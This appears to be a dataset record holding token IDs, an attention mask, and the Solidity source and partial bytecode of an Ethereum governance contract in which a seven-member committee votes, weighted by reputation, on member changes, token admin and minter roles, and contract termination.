[ 101, 1014, 2595, 2683, 2581, 24594, 23499, 17465, 2581, 2094, 2620, 2549, 6858, 24434, 21084, 19841, 6679, 26224, 22394, 14142, 10354, 19841, 2546, 23833, 2692, 2497, 2683, 2620, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5757, 1011, 5709, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1020, 1012, 1020, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 21450, 1063, 2724, 3940, 16748, 4383, 1006, 4769, 25331, 19204, 2692, 1010, 4769, 25331, 19204, 2487, 1010, 4769, 3940, 1010, 21318, 3372, 1007, 1025, 3853, 2519, 2080, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2519, 9232, 12079, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2131, 4502, 4313, 1006, 4769, 19204, 2050, 1010, 4769, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,679
0x972A5AFcAaBa9352E6DCCDc8Da872c987f1d13aF
pragma solidity >=0.4.22 <0.8.0; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IToken { function grantAdminRole(address) external; function revokeAdminRole(address) external; function grantMinterRole(address) external; function revokeMinterRole(address) external; } interface ITerminable { function terminate() external; } struct Pool { uint8 reputationTotal; mapping(address => bool) votes; } contract FoundingCommitteeVoting is Ownable { uint8[7] public REPUTATIONS = [5, 4, 3, 2, 1, 1, 1]; address[7] public committee; mapping(address => uint8) public indexes; mapping(address => uint8) public reputations; uint8 public constant UNANIMOUS_VOTE_REPUTATION = 17; uint8 public constant SUPER_MAJORITY_VOTE_REPUTATION = 12; uint8 public constant MAJORITY_VOTE_REPUTATION = 9; address public DCARETokenContractAddress = address(0x0); mapping(address => mapping(address => Pool)) public changeCommitteeMemberPools; mapping(address => Pool) public setTokenContractAddressPools; mapping(address => Pool) public addTokenAdminAddressPools; mapping(address => Pool) public revokeTokenAdminAddressPools; mapping(address => Pool) public addTokenMinterAddressPools; mapping(address => Pool) public revokeTokenMinterAddressPools; mapping(address => Pool) public terminateContractPools; event ChangeCommitteeMemberPoolVote(address indexed _oldAddress, address indexed _newAddress, address indexed _voterAddress); event CommitteeMemberAddressChanged(address indexed _oldAddress, address indexed _newAddress); event TokenContractAddressPoolVote(address indexed _tokenContractAddress, address indexed _voterAddress); event TokenContractAddressSetted(address indexed _tokenContractAddress); event AddTokenAdminAddressPoolVote(address indexed _tokenAdminAddress, address indexed _voterAddress); event TokenAdminAddressSetted(address indexed _tokenAdminAddress); event RevokeTokenAdminAddressPoolVote(address indexed _tokenAdminAddress, address indexed _voterAddress); event TokenAdminAddressRevoked(address indexed _tokenAdminAddress); event AddTokenMinterAddressPoolVote(address indexed _tokenMinterAddress, address indexed _voterAddress); event TokenMinterAddressSetted(address indexed _tokenMinterAddress); event RevokeTokenMinterAddressPoolVote(address indexed _tokenMinterAddress, address indexed _voterAddress); event TokenMinterAddressRevoked(address indexed _tokenMinterAddress); event TerminateContractPoolVote(address indexed _contractAddress, address indexed _voterAddress); event ContractTerminated(address indexed _contractAddress); constructor() { committee[0] = address(0x9C00434ac0AeE12C97Ea02e85ffaa9aB60197af7); committee[1] = address(0xB8C9B2C823e4BAe85FFcb0Ef5A3b0472b1A20179); committee[2] = address(0xFb9c83B7cD0F0f3D38bF2aAb98061AB46d1ee7Be); committee[3] = address(0xdCCE1E1F8c4f00ECf5F076D8bC0f07D66ef17C14); committee[4] = address(0x9b4B2FeA56eEaf67Af6914f7E34Bad7DD97B7C20); committee[5] = address(0x1280497886EDF09b9fe8f8b5a666405811007058); committee[6] = address(0x76D56bcEaa780cBBDC0fCc298d5520AC43b1378f); for (uint8 i = 0; i < committee.length; i++) { indexes[committee[i]] = i; reputations[committee[i]] = REPUTATIONS[i]; } } modifier onlyCommitteeMember() { require(reputations[msg.sender] > 0, "Caller is not a committee member"); _; } function changeCommitteeMemberAddress(address _oldAddress, address _newAddress) public onlyCommitteeMember { require(_newAddress != address(0x0), "Invalid address provided"); require(_newAddress != _oldAddress, "New address is the same as old address"); require(reputations[_oldAddress] > 0, "No committee member with such address"); require(reputations[_newAddress] == 0, "Committee member with such address already exists"); require(msg.sender != _oldAddress, "You can't vote for yourself"); require(!changeCommitteeMemberPools[_oldAddress][_newAddress].votes[msg.sender], "You have already voted in this pool"); changeCommitteeMemberPools[_oldAddress][_newAddress].votes[msg.sender] = true; changeCommitteeMemberPools[_oldAddress][_newAddress].reputationTotal+= reputations[msg.sender]; emit ChangeCommitteeMemberPoolVote(_oldAddress, _newAddress, msg.sender); if (changeCommitteeMemberPools[_oldAddress][_newAddress].reputationTotal >= SUPER_MAJORITY_VOTE_REPUTATION) { uint8 idx = indexes[_oldAddress]; indexes[_oldAddress] = 0; indexes[_newAddress] = idx; committee[idx] = _newAddress; reputations[_oldAddress] = 0; reputations[_newAddress] = REPUTATIONS[idx]; changeCommitteeMemberPools[_oldAddress][_newAddress].reputationTotal = 0; for (uint8 i = 0; i < committee.length; i++) { changeCommitteeMemberPools[_oldAddress][_newAddress].votes[committee[i]] = false; } emit CommitteeMemberAddressChanged(_oldAddress, _newAddress); } } function setTokenContractAddress(address _tokenContractAddress) public onlyCommitteeMember { require(_tokenContractAddress != address(0x0), "Invalid contract address"); require(DCARETokenContractAddress == address(0x0), "DCARE token contract address is already setted"); require(Address.isContract(_tokenContractAddress), "Provided address is not a contract address"); require(!setTokenContractAddressPools[_tokenContractAddress].votes[msg.sender], "You have already voted in this pool"); setTokenContractAddressPools[_tokenContractAddress].votes[msg.sender] = true; setTokenContractAddressPools[_tokenContractAddress].reputationTotal+= reputations[msg.sender]; emit TokenContractAddressPoolVote(_tokenContractAddress, msg.sender); if (setTokenContractAddressPools[_tokenContractAddress].reputationTotal >= SUPER_MAJORITY_VOTE_REPUTATION) { DCARETokenContractAddress = _tokenContractAddress; emit TokenContractAddressSetted(_tokenContractAddress); } } function addTokenAdminAddress(address _tokenAdminAddress) public onlyCommitteeMember { require(DCARETokenContractAddress != address(0x0), "DCARE token contract address wasn't set"); require(_tokenAdminAddress != address(0x0), "Invalid contract address"); require(Address.isContract(_tokenAdminAddress), "Provided address is not a contract address"); require(!addTokenAdminAddressPools[_tokenAdminAddress].votes[msg.sender], "You have already voted in this pool"); addTokenAdminAddressPools[_tokenAdminAddress].votes[msg.sender] = true; addTokenAdminAddressPools[_tokenAdminAddress].reputationTotal+= reputations[msg.sender]; emit AddTokenAdminAddressPoolVote(_tokenAdminAddress, msg.sender); if (addTokenAdminAddressPools[_tokenAdminAddress].reputationTotal >= UNANIMOUS_VOTE_REPUTATION) { IToken DCARETokenContract = IToken(DCARETokenContractAddress); DCARETokenContract.grantAdminRole(_tokenAdminAddress); addTokenAdminAddressPools[_tokenAdminAddress].reputationTotal = 0; for (uint8 i = 0; i < committee.length; i++) { addTokenAdminAddressPools[_tokenAdminAddress].votes[committee[i]] = false; } emit TokenAdminAddressSetted(_tokenAdminAddress); } } function revokeTokenAdminAddress(address _tokenAdminAddress) public onlyCommitteeMember { require(DCARETokenContractAddress != address(0x0), "DCARE token contract address wasn't set"); require(_tokenAdminAddress != address(0x0), "Invalid contract address"); require(!revokeTokenAdminAddressPools[_tokenAdminAddress].votes[msg.sender], "You have already voted in this pool"); revokeTokenAdminAddressPools[_tokenAdminAddress].votes[msg.sender] = true; revokeTokenAdminAddressPools[_tokenAdminAddress].reputationTotal+= reputations[msg.sender]; emit RevokeTokenAdminAddressPoolVote(_tokenAdminAddress, msg.sender); if (revokeTokenAdminAddressPools[_tokenAdminAddress].reputationTotal >= UNANIMOUS_VOTE_REPUTATION) { IToken DCARETokenContract = IToken(DCARETokenContractAddress); DCARETokenContract.revokeAdminRole(_tokenAdminAddress); revokeTokenAdminAddressPools[_tokenAdminAddress].reputationTotal = 0; for (uint8 i = 0; i < committee.length; i++) { revokeTokenAdminAddressPools[_tokenAdminAddress].votes[committee[i]] = false; } emit TokenAdminAddressRevoked(_tokenAdminAddress); } } function addTokenMinterAddress(address _tokenMinterAddress) public onlyCommitteeMember { require(DCARETokenContractAddress != address(0x0), "DCARE token contract address wasn't set"); require(_tokenMinterAddress != address(0x0), "Invalid contract address"); require(Address.isContract(_tokenMinterAddress), "Provided address is not a contract address"); require(!addTokenMinterAddressPools[_tokenMinterAddress].votes[msg.sender], "You have already voted in this pool"); addTokenMinterAddressPools[_tokenMinterAddress].votes[msg.sender] = true; addTokenMinterAddressPools[_tokenMinterAddress].reputationTotal+= reputations[msg.sender]; emit AddTokenMinterAddressPoolVote(_tokenMinterAddress, msg.sender); if (addTokenMinterAddressPools[_tokenMinterAddress].reputationTotal >= SUPER_MAJORITY_VOTE_REPUTATION) { IToken DCARETokenContract = IToken(DCARETokenContractAddress); DCARETokenContract.grantMinterRole(_tokenMinterAddress); addTokenMinterAddressPools[_tokenMinterAddress].reputationTotal = 0; for (uint8 i = 0; i < committee.length; i++) { addTokenMinterAddressPools[_tokenMinterAddress].votes[committee[i]] = false; } emit TokenMinterAddressSetted(_tokenMinterAddress); } } function revokeTokenMinterAddress(address _tokenMinterAddress) public onlyCommitteeMember { require(DCARETokenContractAddress != address(0x0), "DCARE token contract address wasn't set"); require(_tokenMinterAddress != address(0x0), "Invalid contract address"); require(!revokeTokenMinterAddressPools[_tokenMinterAddress].votes[msg.sender], "You have already voted in this pool"); revokeTokenMinterAddressPools[_tokenMinterAddress].votes[msg.sender] = true; revokeTokenMinterAddressPools[_tokenMinterAddress].reputationTotal+= reputations[msg.sender]; emit RevokeTokenMinterAddressPoolVote(_tokenMinterAddress, msg.sender); if (revokeTokenMinterAddressPools[_tokenMinterAddress].reputationTotal >= SUPER_MAJORITY_VOTE_REPUTATION) { IToken DCARETokenContract = IToken(DCARETokenContractAddress); DCARETokenContract.revokeMinterRole(_tokenMinterAddress); revokeTokenMinterAddressPools[_tokenMinterAddress].reputationTotal = 0; for (uint8 i = 0; i < committee.length; i++) { revokeTokenMinterAddressPools[_tokenMinterAddress].votes[committee[i]] = false; } emit TokenMinterAddressRevoked(_tokenMinterAddress); } } function terminateContract(address _contractAddress) public onlyCommitteeMember { require(_contractAddress != address(0x0), "Invalid contract address"); require(Address.isContract(_contractAddress), "Provided address is not a contract address"); require(!terminateContractPools[_contractAddress].votes[msg.sender], "You have already voted in this pool"); terminateContractPools[_contractAddress].votes[msg.sender] = true; terminateContractPools[_contractAddress].reputationTotal+= reputations[msg.sender]; emit TerminateContractPoolVote(_contractAddress, msg.sender); if (terminateContractPools[_contractAddress].reputationTotal >= SUPER_MAJORITY_VOTE_REPUTATION) { ITerminable terminableContract = ITerminable(_contractAddress); terminableContract.terminate(); terminateContractPools[_contractAddress].reputationTotal = 0; for (uint8 i = 0; i < committee.length; i++) { terminateContractPools[_contractAddress].votes[committee[i]] = false; } emit ContractTerminated(_contractAddress); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638024ad75116100de578063d489d91911610097578063e4464a4011610071578063e4464a401461074c578063e4da360f14610791578063efd3d9e3146107d5578063f2fde38b1461083957610173565b8063d489d91914610669578063dea5e790146106c4578063decf39b81461070857610173565b80638024ad751461048857806386d729ab146104e35780638da5cb5b1461053e578063afe7fcf414610572578063b23d4854146105ca578063bd6e5ce91461060e57610173565b80633a3b1e0a116101305780633a3b1e0a146102ff57806343436861146103435780634b42e9ea146103875780635157bb09146103a857806351a1124214610403578063715018a61461047e57610173565b806306fa15a7146101785780631d3d173e146101d3578063289e8be8146102075780632db78d93146102285780632ef7de801461028357806337326d2a146102de575b600080fd5b6101ba6004803603602081101561018e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087d565b604051808260ff16815260200191505060405180910390f35b6101db61089d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61020f6108c3565b604051808260ff16815260200191505060405180910390f35b61026a6004803603602081101561023e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c8565b604051808260ff16815260200191505060405180910390f35b6102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e8565b604051808260ff16815260200191505060405180910390f35b6102e6610913565b604051808260ff16815260200191505060405180910390f35b6103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610918565b005b6103856004803603602081101561035957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb8565b005b61038f6116e5565b604051808260ff16815260200191505060405180910390f35b6103ea600480360360208110156103be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ea565b604051808260ff16815260200191505060405180910390f35b6104656004803603604081101561041957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611715565b604051808260ff16815260200191505060405180910390f35b61048661174d565b005b6104ca6004803603602081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118d3565b604051808260ff16815260200191505060405180910390f35b610525600480360360208110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b604051808260ff16815260200191505060405180910390f35b610546611929565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61059e6004803603602081101561058857600080fd5b8101908080359060200190929190505050611952565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61060c600480360360208110156105e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611988565b005b6106506004803603602081101561062457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f68565b604051808260ff16815260200191505060405180910390f35b6106ab6004803603602081101561067f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f93565b604051808260ff16815260200191505060405180910390f35b610706600480360360208110156106da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fbe565b005b61074a6004803603602081101561071e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126eb565b005b6107786004803603602081101561076257600080fd5b8101908080359060200190929190505050612e76565b604051808260ff16815260200191505060405180910390f35b6107d3600480360360208110156107a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ea0565b005b610837600480360360408110156107eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061362b565b005b61087b6004803603602081101561084f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614244565b005b600a6020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601181565b60096020528060005260406000206000915054906101000a900460ff1681565b60126020528060005260406000206000915090508060000160009054906101000a900460ff16905081565b600c81565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16116109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616c6c6572206973206e6f74206120636f6d6d6974746565206d656d62657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420636f6e74726163742061646472657373000000000000000081525060200191505060405180910390fd5b610a898161444f565b610ade576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614513602a913960400191505060405180910390fd5b601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806144a36023913960400191505060405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f6146d0a5c83d761dfb33de21aeac142b1f5b768aa800200b10685fd29d40b65f60405160405180910390a3600c60ff16601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660ff1610610fb55760008190508073ffffffffffffffffffffffffffffffffffffffff16630c08bf886040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610e1657600080fd5b505af1158015610e2a573d6000803e3d6000fd5b505050506000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555060005b60078160ff161015610f6f576000601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600060028460ff1660078110610eef57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e8d565b508173ffffffffffffffffffffffffffffffffffffffff167f9d7e11b7ee517fc092f4a904e8eac7b469444955f9a0c9e1cb4644be70b771f660405160405180910390a2505b50565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff161161107d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616c6c6572206973206e6f74206120636f6d6d6974746565206d656d62657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611125576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806144ec6027913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420636f6e74726163742061646472657373000000000000000081525060200191505060405180910390fd5b600f60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806144a36023913960400191505060405180910390fd5b6001600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb7aa4954fc83298222287b3cfa831e59890f840012a899ce9cc2ccb07b6708c460405160405180910390a3601160ff16600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660ff16106116e2576000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16639a19c7b0836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561154357600080fd5b505af1158015611557573d6000803e3d6000fd5b505050506000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555060005b60078160ff16101561169c576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600060028460ff166007811061161c57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506115ba565b508173ffffffffffffffffffffffffffffffffffffffff167fce477d508a055fdb89942fc81be59aa1b32f06275bb1ea364b5c8b929f6061dd60405160405180910390a2505b50565b600981565b600f6020528060005260406000206000915090508060000160009054906101000a900460ff16905081565b600c602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900460ff16905081565b61175561449a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611815576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60106020528060005260406000206000915090508060000160009054906101000a900460ff16905081565b600e6020528060005260406000206000915090508060000160009054906101000a900460ff16905081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6002816007811061196257600080fd5b016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1611611a4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616c6c6572206973206e6f74206120636f6d6d6974746565206d656d62657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611af0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420636f6e74726163742061646472657373000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180614593602e913960400191505060405180910390fd5b611ba08161444f565b611bf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614513602a913960400191505060405180910390fd5b600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611cd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806144a36023913960400191505060405180910390fd5b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f7b2e5bef957cab1084fff1d483c511041d4cd81e4d54a0a897efd744df645e9060405160405180910390a3600c60ff16600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660ff1610611f655780600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fd95f2fae4e913c59d0b27d0426e33e64d5da319e7a04c03200ac0879417811ab60405160405180910390a25b50565b600d6020528060005260406000206000915090508060000160009054906101000a900460ff16905081565b60116020528060005260406000206000915090508060000160009054906101000a900460ff16905081565b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1611612083576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f43616c6c6572206973206e6f74206120636f6d6d6974746565206d656d62657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806144ec6027913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c696420636f6e74726163742061646472657373000000000000000081525060200191505060405180910390fd5b601160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806144a36023913960400191505060405180910390fd5b6001601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815